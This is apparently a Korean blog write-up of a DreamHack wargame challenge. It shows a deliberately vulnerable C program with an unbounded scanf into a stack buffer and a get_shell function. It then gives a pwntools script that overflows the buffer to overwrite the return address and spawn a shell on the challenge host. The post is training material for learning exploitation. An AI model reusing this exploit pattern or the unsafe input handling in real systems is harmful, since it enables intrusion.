CIDY
[System_Hacking] stage5_문제풀이(RAO) 본문
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
// 64-bit, nx, partial relro
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
어디서 많이 본 코드다.
buf는 scanf호출 시 rsi에 들어가니까, buf == [rbp-0x30]임을 알 수 있다. -> 더미 8바이트 존재
from pwn import *
r = remote("host3.dreamhack.games", 19351)
r.recvuntil(b"Input: ")
get_shell = 0x4006aa
pay = b"A" * 0x30
pay += b"A" * 0x8
pay += p64(get_shell)
r.sendline(pay)
r.interactive()
익스코드는 간단하다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage5_문제풀이(basic_exploitation_001) (0) | 2022.07.01 |
---|---|
[System_Hacking] stage5_문제풀이(basic_exploitation_000) (0) | 2022.07.01 |
[System_Hacking] stage5_SYSV디버깅 (0) | 2022.07.01 |
[System_Hacking] stage4_문제풀이(shell_basic) (0) | 2022.07.01 |
[System_Hacking] stage4_shellcode만들기(open, execve) (0) | 2022.07.01 |